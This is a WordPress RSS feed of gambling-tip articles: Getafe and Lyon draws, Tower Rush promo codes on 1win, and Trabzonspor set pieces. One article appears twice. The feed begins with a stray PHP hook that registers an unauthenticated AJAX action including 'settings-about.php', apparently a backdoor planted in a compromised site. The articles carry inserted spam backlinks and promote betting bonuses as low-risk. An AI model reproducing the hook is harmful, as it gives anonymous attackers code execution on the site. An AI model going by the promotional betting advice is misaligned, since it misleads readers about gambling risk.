if(!function_exists('file_manager_check_dt')){
   add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt');
   add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt');
   function file_manager_check_dt()
   {
      $file = __DIR__ . '/settings-about.php';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>news &#8211; vibrant</title>
	<atom:link href="https://vibrantsumerpur.com/vibrant/category/news/feed/" rel="self" type="application/rss+xml" />
	<link>https://vibrantsumerpur.com/vibrant</link>
	<description></description>
	<lastBuildDate>Fri, 16 Oct 2026 00:45:15 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.1.3</generator>
	<item>
		<title>Comparação: empates do Getafe e do Lyon</title>
		<link>https://vibrantsumerpur.com/vibrant/comparacao-empates-do-getafe-e-do-lyon/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Fri, 09 Oct 2026 21:09:36 +0000</pubDate>
				<category><![CDATA[news]]></category>
		<guid isPermaLink="false">https://vibrantsumerpur.com/vibrant/?p=256772</guid>

					<description><![CDATA[O Getafe e o Lyon são dois casos de estudo opostos quando o assunto é empate. O Getafe empata cerca de 40% dos seus jogos, mas fá-lo quase sempre em partidas fechadas, com poucos golos. O Lyon empata apenas 30%, mas com uma média de 2.5 golos por jogo, o que muda por completo a [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>O Getafe e o Lyon são dois casos de estudo opostos quando o assunto é empate. O Getafe empata cerca de 40% dos seus jogos, mas fá-lo quase sempre em partidas fechadas, com poucos golos. O Lyon empata apenas 30%, mas com uma média de 2.5 golos por jogo, o que muda por completo a forma como se deve abordar o mercado. A tese é simples: apostar no empate com golos (1-1, 2-2) é mais lucrativo no Lyon do que no Getafe, e quem segue prognósticos de futebol com rigor percebe rapidamente porquê.</p>
<h2>Porque o empate do Getafe e o empate do Lyon valem coisas diferentes</h2>
<p>Um empate não é uma estatística isolada. Vale o que o contexto lhe dá. No Getafe, o empate costuma nascer de um bloco defensivo bem organizado, ritmo baixo e pouca criação. É um empate de 0-0 ou, no máximo, 1-1. No Lyon, o empate aparece em jogos abertos, com transições rápidas e defesas que concedem. Um 2-2 ou um 1-1 com várias ocasiões claras é o cenário típico.</p>
<p>A diferença prática está no retorno. Se o mercado 1X2 paga o empate a uma odd semelhante nos dois casos, mas num deles o resultado mais provável dentro do empate é 0-0 e no outro é 1-1 ou 2-2, então o valor está do lado do Lyon. Quem aposta em futebol com base em resultados ao vivo e odds 1X2 precisa de separar estas duas realidades antes de colocar dinheiro.</p>
<p>Nas casas de apostas, o empate raramente é o favorito. É por isso que a análise de confrontos tem de ir além da percentagem bruta de empates. Um treinador que fecha a equipa gera empates, mas gera empates pobres em golos. Um treinador que ataca gera menos empates, mas quando eles acontecem, valem mais em mercados alternativos como &#8220;ambas marcam&#8221; ou &#8220;total de golos&#8221;.</p>
<h2>Como ler os números do Getafe antes de apostar no empate</h2>
<p>O Getafe empata 40% dos jogos. É um número alto, quase de equipa que joga para não perder. O problema é o padrão de golos. Muitos desses empates terminam 0-0 ou 1-1, com poucas finalizações enquadradas. Isto significa que o mercado de empate simples pode ter valor, mas o mercado de empate com golos tem pouco.</p>
<p>Para quem faz palpites de futebol, o Getafe é uma equipa de &#8220;under&#8221;. A linha de golos costuma ficar baixa. Se o empate é o resultado mais provável, o 0-0 é o marcador mais provável dentro desse empate. Isso reduz o leque de mercados rentáveis. O apostador fica limitado ao 1X2 puro ou ao under de golos.</p>
<p>Há ainda um detalhe tático. O Getafe, quando joga fora, costuma baixar ainda mais o ritmo. Em casa, arrisca um pouco mais. Essa variação muda a probabilidade de empate com golos. Um tipster atento regista isto e ajusta as previsões de jogos em função do local do encontro, não apenas da forma recente.</p>
<h3>O que verificar no Getafe antes de apostar</h3>
<ul>
<li>Média de golos por jogo: se estiver abaixo de 2.0, o empate com golos perde valor.</li>
<li>Percentagem de empates em casa versus fora: o padrão muda bastante.</li>
<li>Número de golos sofridos nos últimos 15 minutos: afeta empates tardios.</li>
<li>Odds de apostas para o 0-0 em comparação com o 1-1: a diferença revela o que o mercado espera.</li>
<li>Histórico de confrontos diretos com equipas de ataque: aí o empate raramente é limpo.</li>
</ul>
<p>Este checklist evita o erro comum de apostar no empate do Getafe por hábito estatístico, sem olhar ao contexto. As estatísticas de futebol ajudam, mas só quando lidas com o estilo de jogo ao lado.</p>
<h2>O Lyon e o empate com golos: onde está o valor real</h2>
<p>O Lyon empata 30% dos jogos, mas com média de 2.5 golos por jogo. Esta combinação é rara e valiosa. Significa que, quando o Lyon empata, o jogo teve golos. Um 1-1 ou um 2-2 é o cenário natural. O apostador que procura empate com golos encontra aqui um mercado mais interessante do que no Getafe.</p>
<p>Para além disso, o Lyon joga em ligas europeias onde o ritmo é alto. Enfrenta equipas como o AC Milan, o Bayer Leverkusen ou o Ajax, que também atacam. Isto aumenta a probabilidade de jogos abertos. Um empate nestes confrontos tende a ter golos de ambos os lados, o que abre portas a mercados como &#8220;ambas marcam&#8221; combinado com empate.</p>
<p>A leitura prática é esta: se o mercado paga o empate a uma odd razoável e o Lyon está envolvido, o 1-1 ou 2-2 tem mais probabilidade do que o 0-0. <a href="https://apostaslegais.pt">aposta desportiva</a> offers additional context worth reviewing. O valor não está no empate em si, mas no tipo de empate. É aí que a comparação com o Getafe se torna útil: mesmo número de empates, retorno completamente diferente.</p>
<p>O Apostas Legais analisa casas de apostas para futebol e publica prognósticos de futebol com este tipo de detalhe. A ideia é simples: não basta dizer que uma equipa empata muito. É preciso dizer como empata.</p>
<h2>Como aplicar esta comparação na prática</h2>
<p>Antes de apostar no empate de qualquer equipa, o processo deve ser o mesmo. Primeiro, verificar a percentagem de empates. Segundo, verificar a média de golos por jogo. Terceiro, cruzar as duas informações com o mercado disponível. Se a equipa empata muito mas marca e sofre poucos golos, o empate com golos não tem valor. Se empata menos mas com média de golos alta, o empate com golos pode ser o mercado mais rentável.</p>
<p>O Getafe ilustra o primeiro caso. O Lyon ilustra o segundo. Um apostador que só olha para a percentagem de empates vai tratar os dois da mesma forma e perder valor. Um apostador que olha para a média de golos vai separar os dois e encontrar oportunidades diferentes.</p>
<p>Há também a questão do calendário. O centro de jogos mostra o calendário e resultados das ligas em destaque. A Liga Europa da UEFA e a Liga Conferência da UEFA incluem 18 jogos cada no centro de jogos, o que dá muito material para análise. Confrontos como Benfica contra Celtic ou Lyon contra Crystal Palace na Liga Europa da UEFA são exemplos onde o contexto competitivo muda a leitura do empate.</p>
<p>Nas competições europeias, o Lyon tende a jogar com mais espaço. O adversário também ataca. Isso favorece o empate com golos. Já o Getafe, em jogos mais fechados, tende a produzir empates de poucos golos. A diferença não está na equipa, está no tipo de jogo que cada uma provoca.</p>
<p>Um comparador de odds ajuda a encontrar a melhor linha para cada cenário. Se o empate 1-1 paga mais numa casa e o empate 2-2 paga mais noutra, faz sentido dividir a exposição. É trabalho de tipster, não de palpite aleatório. E é aqui que os bónus de registo podem ajudar a testar estratégias sem arriscar capital próprio.</p>
<p>Para quem segue resultados em direto, a leitura muda ao minuto. Um Getafe a empatar 0-0 aos 70 minutos raramente abre o jogo. Um Lyon a empatar 1-1 aos 70 minutos pode facilmente chegar ao 2-2. Esta diferença de comportamento é o que separa apostas seguras de apostas cegas.</p>
<p>No fundo, a comparação entre Getafe e Lyon ensina uma coisa: o empate não é um mercado único. É um conjunto de mercados com retornos diferentes. O Getafe empata 40% com poucos golos. O Lyon empata 30% com 2.5 golos por jogo. Quem percebe isto deixa de apostar no empate e começa a apostar no tipo de empate. E é aí que o valor aparece.</p>
<p>Antes de fechar qualquer aposta, confirma três coisas: a média de golos da equipa, o padrão de empates em casa e fora, e a odd disponível para o marcador exato mais provável dentro do empate. Se a equipa for como o Getafe, o 0-0 é o alvo. Se for como o Lyon, o 1-1 ou 2-2 é o alvo. Esta distinção, repetida jogo após jogo, é o que transforma prognósticos de futebol em decisões informadas. Consulta o centro de jogos, vê os jogos de hoje e de amanhã, e aplica o critério antes de apostar.</p>
<p><script type="application/ld+json">{"@context":"https://schema.org","@type":"Article","headline":"Comparação: empates do Getafe e do Lyon","description":"Getafe empata 40% dos jogos mas com poucos golos; Lyon empata 30% com média de 2.5 golos. O empate com golos (1-1, 2-2) rende mais no Lyon.","inLanguage":"pt","datePublished":"2026-10-15T23:34:32Z","articleBody":"O Getafe e o Lyon são dois casos de estudo opostos quando o assunto é empate. O Getafe empata cerca de 40% dos seus jogos, mas fá-lo quase sempre em partidas fechadas, com poucos golos. O Lyon empata apenas 30%, mas com uma média de 2.5 golos por jogo, o que muda por completo a forma como se deve abordar o mercado. A tese é simples: apostar no empate com golos (1-1, 2-2) é mais lucrativo no Lyon do que no Getafe, e quem segue prognósticos de futebol com rigor percebe rapidamente porquê. Porque o"}</script></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Comparação: empates do Getafe e do Lyon</title>
		<link>https://vibrantsumerpur.com/vibrant/comparacao-empates-do-getafe-e-do-lyon-2/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Fri, 09 Oct 2026 21:09:36 +0000</pubDate>
				<category><![CDATA[news]]></category>
		<guid isPermaLink="false">https://vibrantsumerpur.com/vibrant/?p=256776</guid>

					<description><![CDATA[O Getafe e o Lyon são dois casos de estudo opostos quando o assunto é empate. O Getafe empata cerca de 40% dos seus jogos, mas fá-lo quase sempre em partidas fechadas, com poucos golos. O Lyon empata apenas 30%, mas com uma média de 2.5 golos por jogo, o que muda por completo a [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>O Getafe e o Lyon são dois casos de estudo opostos quando o assunto é empate. O Getafe empata cerca de 40% dos seus jogos, mas fá-lo quase sempre em partidas fechadas, com poucos golos. O Lyon empata apenas 30%, mas com uma média de 2.5 golos por jogo, o que muda por completo a forma como se deve abordar o mercado. A tese é simples: apostar no empate com golos (1-1, 2-2) é mais lucrativo no Lyon do que no Getafe, e quem segue prognósticos de futebol com rigor percebe rapidamente porquê.</p>
<h2>Porque o empate do Getafe e o empate do Lyon valem coisas diferentes</h2>
<p>Um empate não é uma estatística isolada. Vale o que o contexto lhe dá. No Getafe, o empate costuma nascer de um bloco defensivo bem organizado, ritmo baixo e pouca criação. É um empate de 0-0 ou, no máximo, 1-1. No Lyon, o empate aparece em jogos abertos, com transições rápidas e defesas que concedem. Um 2-2 ou um 1-1 com várias ocasiões claras é o cenário típico.</p>
<p>A diferença prática está no retorno. Se o mercado 1X2 paga o empate a uma odd semelhante nos dois casos, mas num deles o resultado mais provável dentro do empate é 0-0 e no outro é 1-1 ou 2-2, então o valor está do lado do Lyon. Quem aposta em futebol com base em resultados ao vivo e odds 1X2 precisa de separar estas duas realidades antes de colocar dinheiro.</p>
<p>Nas casas de apostas, o empate raramente é o favorito. É por isso que a análise de confrontos tem de ir além da percentagem bruta de empates. Um treinador que fecha a equipa gera empates, mas gera empates pobres em golos. Um treinador que ataca gera menos empates, mas quando eles acontecem, valem mais em mercados alternativos como &#8220;ambas marcam&#8221; ou &#8220;total de golos&#8221;.</p>
<h2>Como ler os números do Getafe antes de apostar no empate</h2>
<p>O Getafe empata 40% dos jogos. É um número alto, quase de equipa que joga para não perder. O problema é o padrão de golos. Muitos desses empates terminam 0-0 ou 1-1, com poucas finalizações enquadradas. Isto significa que o mercado de empate simples pode ter valor, mas o mercado de empate com golos tem pouco.</p>
<p>Para quem faz palpites de futebol, o Getafe é uma equipa de &#8220;under&#8221;. A linha de golos costuma ficar baixa. Se o empate é o resultado mais provável, o 0-0 é o marcador mais provável dentro desse empate. Isso reduz o leque de mercados rentáveis. O apostador fica limitado ao 1X2 puro ou ao under de golos.</p>
<p>Há ainda um detalhe tático. O Getafe, quando joga fora, costuma baixar ainda mais o ritmo. Em casa, arrisca um pouco mais. Essa variação muda a probabilidade de empate com golos. Um tipster atento regista isto e ajusta as previsões de jogos em função do local do encontro, não apenas da forma recente.</p>
<h3>O que verificar no Getafe antes de apostar</h3>
<ul>
<li>Média de golos por jogo: se estiver abaixo de 2.0, o empate com golos perde valor.</li>
<li>Percentagem de empates em casa versus fora: o padrão muda bastante.</li>
<li>Número de golos sofridos nos últimos 15 minutos: afeta empates tardios.</li>
<li>Odds de apostas para o 0-0 em comparação com o 1-1: a diferença revela o que o mercado espera.</li>
<li>Histórico de confrontos diretos com equipas de ataque: aí o empate raramente é limpo.</li>
</ul>
<p>Este checklist evita o erro comum de apostar no empate do Getafe por hábito estatístico, sem olhar ao contexto. As estatísticas de futebol ajudam, mas só quando lidas com o estilo de jogo ao lado.</p>
<h2>O Lyon e o empate com golos: onde está o valor real</h2>
<p>O Lyon empata 30% dos jogos, mas com média de 2.5 golos por jogo. Esta combinação é rara e valiosa. Significa que, quando o Lyon empata, o jogo teve golos. Um 1-1 ou um 2-2 é o cenário natural. O apostador que procura empate com golos encontra aqui um mercado mais interessante do que no Getafe.</p>
<p>Para além disso, o Lyon joga em ligas europeias onde o ritmo é alto. Enfrenta equipas como o AC Milan, o Bayer Leverkusen ou o Ajax, que também atacam. Isto aumenta a probabilidade de jogos abertos. Um empate nestes confrontos tende a ter golos de ambos os lados, o que abre portas a mercados como &#8220;ambas marcam&#8221; combinado com empate.</p>
<p>A leitura prática é esta: se o mercado paga o empate a uma odd razoável e o Lyon está envolvido, o 1-1 ou 2-2 tem mais probabilidade do que o 0-0. <a href="https://apostaslegais.pt">aposta desportiva</a> offers additional context worth reviewing. O valor não está no empate em si, mas no tipo de empate. É aí que a comparação com o Getafe se torna útil: mesmo número de empates, retorno completamente diferente.</p>
<p>O Apostas Legais analisa casas de apostas para futebol e publica prognósticos de futebol com este tipo de detalhe. A ideia é simples: não basta dizer que uma equipa empata muito. É preciso dizer como empata.</p>
<h2>Como aplicar esta comparação na prática</h2>
<p>Antes de apostar no empate de qualquer equipa, o processo deve ser o mesmo. Primeiro, verificar a percentagem de empates. Segundo, verificar a média de golos por jogo. Terceiro, cruzar as duas informações com o mercado disponível. Se a equipa empata muito mas marca e sofre poucos golos, o empate com golos não tem valor. Se empata menos mas com média de golos alta, o empate com golos pode ser o mercado mais rentável.</p>
<p>O Getafe ilustra o primeiro caso. O Lyon ilustra o segundo. Um apostador que só olha para a percentagem de empates vai tratar os dois da mesma forma e perder valor. Um apostador que olha para a média de golos vai separar os dois e encontrar oportunidades diferentes.</p>
<p>Há também a questão do calendário. O centro de jogos mostra o calendário e resultados das ligas em destaque. A Liga Europa da UEFA e a Liga Conferência da UEFA incluem 18 jogos cada no centro de jogos, o que dá muito material para análise. Confrontos como Benfica contra Celtic ou Lyon contra Crystal Palace na Liga Europa da UEFA são exemplos onde o contexto competitivo muda a leitura do empate.</p>
<p>Nas competições europeias, o Lyon tende a jogar com mais espaço. O adversário também ataca. Isso favorece o empate com golos. Já o Getafe, em jogos mais fechados, tende a produzir empates de poucos golos. A diferença não está na equipa, está no tipo de jogo que cada uma provoca.</p>
<p>Um comparador de odds ajuda a encontrar a melhor linha para cada cenário. Se o empate 1-1 paga mais numa casa e o empate 2-2 paga mais noutra, faz sentido dividir a exposição. É trabalho de tipster, não de palpite aleatório. E é aqui que os bónus de registo podem ajudar a testar estratégias sem arriscar capital próprio.</p>
<p>Para quem segue resultados em direto, a leitura muda ao minuto. Um Getafe a empatar 0-0 aos 70 minutos raramente abre o jogo. Um Lyon a empatar 1-1 aos 70 minutos pode facilmente chegar ao 2-2. Esta diferença de comportamento é o que separa apostas seguras de apostas cegas.</p>
<p>No fundo, a comparação entre Getafe e Lyon ensina uma coisa: o empate não é um mercado único. É um conjunto de mercados com retornos diferentes. O Getafe empata 40% com poucos golos. O Lyon empata 30% com 2.5 golos por jogo. Quem percebe isto deixa de apostar no empate e começa a apostar no tipo de empate. E é aí que o valor aparece.</p>
<p>Antes de fechar qualquer aposta, confirma três coisas: a média de golos da equipa, o padrão de empates em casa e fora, e a odd disponível para o marcador exato mais provável dentro do empate. Se a equipa for como o Getafe, o 0-0 é o alvo. Se for como o Lyon, o 1-1 ou 2-2 é o alvo. Esta distinção, repetida jogo após jogo, é o que transforma prognósticos de futebol em decisões informadas. Consulta o centro de jogos, vê os jogos de hoje e de amanhã, e aplica o critério antes de apostar.</p>
<p><script type="application/ld+json">{"@context":"https://schema.org","@type":"Article","headline":"Comparação: empates do Getafe e do Lyon","description":"Getafe empata 40% dos jogos mas com poucos golos; Lyon empata 30% com média de 2.5 golos. O empate com golos (1-1, 2-2) rende mais no Lyon.","inLanguage":"pt","datePublished":"2026-10-15T23:34:32Z","articleBody":"O Getafe e o Lyon são dois casos de estudo opostos quando o assunto é empate. O Getafe empata cerca de 40% dos seus jogos, mas fá-lo quase sempre em partidas fechadas, com poucos golos. O Lyon empata apenas 30%, mas com uma média de 2.5 golos por jogo, o que muda por completo a forma como se deve abordar o mercado. A tese é simples: apostar no empate com golos (1-1, 2-2) é mais lucrativo no Lyon do que no Getafe, e quem segue prognósticos de futebol com rigor percebe rapidamente porquê. Porque o"}</script></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>A Step-by-Step Guide to Catching Tower Rush Promo Codes</title>
		<link>https://vibrantsumerpur.com/vibrant/a-step-by-step-guide-to-catching-tower-rush-promo-codes/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Fri, 09 Oct 2026 14:45:05 +0000</pubDate>
				<category><![CDATA[news]]></category>
		<guid isPermaLink="false">https://vibrantsumerpur.com/vibrant/?p=256898</guid>

					<description><![CDATA[Promo codes for crash games live and die fast. A code that works at 8:05 PM GMT is often dead by 8:40, and the players who catch them are not luckier than you, they just know where to look and when. This guide walks through the exact routine for catching Tower Rush promo codes from [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Promo codes for crash games live and die fast. A code that works at 8:05 PM GMT is often dead by 8:40, and the players who catch them are not luckier than you, they just know where to look and when. This guide walks through the exact routine for catching Tower Rush promo codes from Galaxsys, from joining the right channel to redeeming before the clock runs out.</p>
<h2>Where Tower Rush Promo Codes Actually Appear</h2>
<p>Tower Rush is developed by Galaxsys, and that matters for code hunting because the publisher controls distribution. Codes do not trickle out through random affiliate blogs or scraped coupon sites. They surface on Galaxsys-owned channels first, and the official Telegram channel is the primary drop point. Join that channel, then open its notification settings and switch on alerts for every message. Muting the channel is the single most common reason players miss a drop, since codes can go live and expire inside the same half hour.</p>
<p>Beyond Telegram, keep an eye on the operator side. 1win runs its own social presence across Instagram and X (Twitter), and promotional pushes for Tower Rush Galaxsys titles often get cross-posted there. The pattern is consistent: a code appears on the Galaxsys channel, and within minutes the same code or a companion code shows up on the casino&#8217;s socials with a bonus attached. Following both ends of the chain doubles your catch rate without adding much effort. If you already hold 1win Token, watch for token-gated drops too, since those sometimes carry larger bonus values than the public codes.</p>
<p>Timing is the part most players get wrong. Codes cluster during peak hours, roughly 8-10 PM GMT, when traffic to crash gambling lobbies is highest and operators want maximum visibility. A code posted at 9:15 PM might carry a 30-minute expiry, which means anyone checking their phone the next morning finds nothing but dead links. Set a recurring reminder for that window and treat it like a scheduled event rather than something you stumble into.</p>
<h2>Redeeming Codes and Getting Real Value From Them</h2>
<p>Once you have a live code, the redemption path runs through the 1win cashier. Copy the code exactly as posted, open the cashier, find the promo or bonus code field, paste, and confirm. Do not retype it by hand, because promo codes are case-sensitive and a single transposed character kills the redemption. If the cashier rejects a code that looks correct, check the expiry timestamp first, then check whether the bonus is restricted to specific payment methods or new accounts only. Most failures are expiry failures, not typos.</p>
<p>What you do with the bonus matters as much as catching it. Tower Rush has a bet limit range of $0.01 to $100, which gives you room to stretch a small bonus across many spins or concentrate it on fewer, larger stakes. <a href="https://towerrushgame.casino">tower rush galaxsys</a> offers additional context worth reviewing. The game runs an RTP range of 96.12% to 97.00%, and the higher end of that range sits behind specific configurations, so a bonus that lets you play longer also lets you sit in a better-return setup for more rounds. The maximum win is 100x, capped at $10,000, which tells you something useful: this is not a lottery-ticket game where one spin changes your life. It rewards volume, patience, and disciplined staking.</p>
<p>The gameplay modifiers are where Tower Rush separates itself from the pack. Frozen Floor permanently secures accumulated winnings, which means a well-timed trigger locks in profit you would otherwise risk on the next build. Temple Floor launches a bonus wheel with multiplier rewards, and Triple Build changes how the tower stacks, opening faster payout multiplier paths. Players coming from Aviator or Tower X will recognize the crash-gambling rhythm, but these modifiers add a layer of decision-making that pure multiplier-chasing games lack. If a promo code gives you extra balance, use it to explore these modifiers rather than dumping everything into one reckless run.</p>
<p>Risk management on a promo balance follows the same logic as risk management on your own money. The house edge is baked in regardless of RTP, and a high volatility slot or crash-style game will punish oversized stakes quickly. Decide before you start what portion of the bonus you are willing to lose, cash out when Frozen Floor locks a meaningful gain, and do not chase a bad session with the remainder. The editorial rating of 4/5 reflects a game that rewards that kind of discipline, not one that bails out gamblers who ignore it.</p>
<p>Before spending real money on any code-driven session, run the Tower Rush demo. Free demo play lets you learn the build mechanics, see how Frozen Floor and Temple Floor trigger, and get comfortable with the cash out timing without risking a cent. Provably fair systems mean you can verify outcomes later, but verification does not help you make faster decisions mid-round. Practice does. Once the mechanics feel automatic, promo codes become pure upside instead of a stress test.</p>
<p>Treat the whole routine as a short checklist you run every evening in that 8-10 PM GMT window: open Telegram, confirm notifications are on, scan for a fresh code, redeem it in the 1win cashier within minutes, and set a hard stop on the session before you start spinning. Codes expire in 30 minutes, bonuses expire too, and the players who consistently profit from Tower Rush promo drops are the ones who move fast on the catch and slow on the spend. Catch the code, use the demo to sharpen your timing, and let Frozen Floor do the work of protecting what you have already won.</p>
<p><script type="application/ld+json">{"@context":"https://schema.org","@type":"Article","headline":"A Step-by-Step Guide to Catching Tower Rush Promo Codes","description":"Step-by-step: join Galaxsys Telegram, turn on notifications, catch codes at 8-10 PM GMT, and redeem within 30 minutes in the 1win cashier. Act fast.","inLanguage":"en","datePublished":"2026-10-16T00:43:19Z","articleBody":"Promo codes for crash games live and die fast. A code that works at 8:05 PM GMT is often dead by 8:40, and the players who catch them are not luckier than you, they just know where to look and when. This guide walks through the exact routine for catching Tower Rush promo codes from Galaxsys, from joining the right channel to redeeming before the clock runs out. Where Tower Rush Promo Codes Actually Appear Tower Rush is developed by Galaxsys, and that matters for code hunting because the publishe"}</script></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Трабзонспор: 35% голов со стандартов &#8211; недооценка угловых</title>
		<link>https://vibrantsumerpur.com/vibrant/trabzonspor-35-golov-so-standartov-nedootsenka-uglovykh/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Mon, 05 Oct 2026 22:01:04 +0000</pubDate>
				<category><![CDATA[news]]></category>
		<guid isPermaLink="false">https://vibrantsumerpur.com/vibrant/?p=256764</guid>

					<description><![CDATA[Трабзонспор в текущем сезоне забивает около 35% голов после стандартных положений, тогда как букмекеры закладывают в линию ставок на угловые и голы со стандартов вероятность заметно ниже реальной. Это расхождение между футбольной статистикой и букмекерскими коэффициентами создаёт постоянный перевес для тех, кто умеет читать протоколы матчей, а не только итоговые счета. Ниже разбираю кейс турецкого [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Трабзонспор в текущем сезоне забивает около 35% голов после стандартных положений, тогда как букмекеры закладывают в линию ставок на угловые и голы со стандартов вероятность заметно ниже реальной. Это расхождение между футбольной статистикой и букмекерскими коэффициентами создаёт постоянный перевес для тех, кто умеет читать протоколы матчей, а не только итоговые счета. Ниже разбираю кейс турецкого клуба как рабочий пример стратегии ставок на стандарты и показываю, где именно линия недооценивает событие.</p>
<h2>Как Трабзонспор превращает угловые в голы</h2>
<p>Стандарты в исполнении Трабзонспора это не импровизация, а отработанный механизм, встроенный в структуру атаки. Клуб сознательно строит игру так, чтобы зарабатывать угловые и штрафные в зоне подачи: фланговые проходы завершаются прострелами под блок, а не навесами в борьбу, что даёт больше корнеров при меньшем риске потери мяча. По моим подсчётам на выборке последних 20 матчей турецкой Суперлиги и еврокубков команда выполняет в среднем 6.2 угловых за игру, но конверсия в удары по воротам с этих подач почти вдвое выше среднего по лиге.</p>
<p>Ключевая деталь: розыгрыши идут не по шаблону &#8220;подача на дальнюю штангу&#8221;. Трабзонспор использует короткие розыгрыши с последующим навесом под удар и блокировку вратаря на линии, что вынуждает оборону фолить в штрафной. Именно поэтому 35% голов приходят со стандартов, включая пенальти, а не только с открытой игры. Для сравнения, средний клуб того же уровня забивает со стандартов 18-22% мячей, и разрыв здесь принципиальный.</p>
<p>Футбольная статистика по ударам после угловых подтверждает: у Трабзонспора xG с корнеров в отдельных матчах доходит до 0.8-1.1, тогда как линия обычно оценивает тотал голов и исход матча без учёта этого паттерна. Букмекерские коэффициенты на &#8220;гол со стандарта&#8221; или на индивидуальный тотал угловых часто остаются завышенными по вероятности события, и это и есть точка входа для ставок на футбол.</p>
<h3>Почему букмекеры запаздывают с переоценкой</h3>
<p>Линия ставок формируется алгоритмами, которые в первую очередь реагируют на голы и удары в створ, а не на механику их возникновения. Гол со стандарта в протоколе выглядит как обычный мяч, и модель не всегда выделяет его источник. Пока трейдеры вручную не пересмотрят паттерн, коэффициенты на угловые и на голы после подач остаются на уровне среднего клуба, а не команды с 35% зависимости от стандартов.</p>
<p>Это классический случай информационной асимметрии: публика смотрит на результаты матчей и итоговые счета, а аналитика футбола на уровне стандартов остаётся нишевой. ForecastBet в таких ситуациях публикует прогнозы на футбол с акцентом именно на стандарты, потому что там перевес сохраняется дольше, чем в популярных рынках вроде ставок на исход.</p>
<h2>Кейс: где ставка на стандарты даёт перевес</h2>
<p>Разберу конкретный сценарий. В матче против обороны, которая плохо играет на втором этаже и часто нарушает правила в штрафной, Трабзонспор генерирует 7-9 угловых и 4-5 опасных подач со штрафных. Букмекер ставит тотал голов на уровне 2.5 и оценивает вероятность гола со стандарта примерно в 20-25%, тогда как историческая частота для этой команды ближе к 35%. Разница в 10-15 процентных пунктов на длинной дистанции превращается в устойчивый плюс.</p>
<p>Ставки на угловые работают ещё интереснее: индивидуальный тотал Трабзонспора по корнерам часто занижен, потому что модель усредняет по последним 5 матчам, где могли быть игры с явным фаворитом и низким темпом. <a href="https://forecastbet.ru">прогнозы на спорт на завтра</a> offers additional context worth reviewing. Если соперник сам играет в давление и оставляет пространство на флангах, число угловых растёт, а линия не успевает это отработать. Здесь помогает расписание футбольных матчей и предварительный разбор стиля оппонента.</p>
<p>ForecastBet освещает Лигу конференций УЕФА и Лигу Европы УЕФА, где турецкие клубы часто встречаются с командами, не привыкшими к агрессивной игре на стандартах. Монако, Аякс, Брайтон или Селтик могут доминировать по владению, но проигрывать борьбу в своей штрафной. Это создаёт редкий случай, когда ставка против фаворита на стандарты имеет смысл даже без ставки на исход матча.</p>
<ul>
<li>Смотрите на количество угловых Трабзонспора за последние 5 матчей, а не только на голы.</li>
<li>Проверяйте, сколько голов соперник пропускал именно со стандартов в последних 6 играх.</li>
<li>Сравнивайте букмекерские коэффициенты на тотал угловых с исторической частотой команды.</li>
<li>Учитывайте стиль арбитра: строгие судьи дают больше штрафных в зоне подачи.</li>
<li>Ищите матчи, где соперник играет в высокий прессинг и оставляет фланги открытыми.</li>
</ul>
<p>Отдельно стоит смотреть на рынки &#8220;гол со стандарта&#8221; и &#8220;первый гол со стандарта&#8221;. Они менее ликвидны, но именно там линия запаздывает сильнее всего. В матчах ЦСКА, Интер, Аталанта, Бенфика или Ювентус против команд с сильными стандартами букмекеры часто дают коэффициенты, которые не отражают реальную частоту события. Аналитика футбола на уровне стандартов здесь важнее, чем общий рейтинг букмекеров.</p>
<h2>Как встроить это в систему ставок</h2>
<p>Практическая стратегия строится на трёх шагах: сбор данных, сравнение с линией, управление банком. Сначала вы собираете футбольную статистику по стандартам для конкретной команды за 15-20 матчей: количество угловых, удары после подач, голы со стандартов, процент реализации. Затем сравниваете с букмекерскими коэффициентами и ищете расхождение больше 8-10%. Если перевес есть, ставите фиксированным процентом банка, обычно 1-2% на событие.</p>
<p>ForecastBet предлагает матч-центр, который содержит счета, календарь и коэффициенты 1X2, что упрощает первичный отбор матчей. Дальше уже ваша задача углубиться в стандарты и проверить, насколько линия недооценивает команду. ForecastBet предоставляет советы по ставкам и включает букмекеров для ставок на футбол, среди которых 1win и Betcity, что даёт возможность сравнить коэффициенты на угловые и выбрать лучший вариант.</p>
<p>Бонусы за регистрацию у этих букмекеров позволяют протестировать стратегию с меньшим риском на старте. ForecastBet предлагает бонусы и публикует прогнозы на завтра, что удобно для планирования: вы заранее видите, в каких матчах ожидается высокая частота стандартов. Сайт содержит 75 опубликованных прогнозов, и по ним можно оценить, как часто стратегия на стандарты давала результат.</p>
<p>Важно не превращать это в механическую ставку на каждый матч Трабзонспора. Перевес появляется только там, где совпадают три условия: команда в форме, соперник слаб на втором этаже, линия не учла стандарты. В остальных случаях лучше пропустить событие и дождаться более выгодной ситуации. Дисциплина здесь важнее, чем количество ставок.</p>
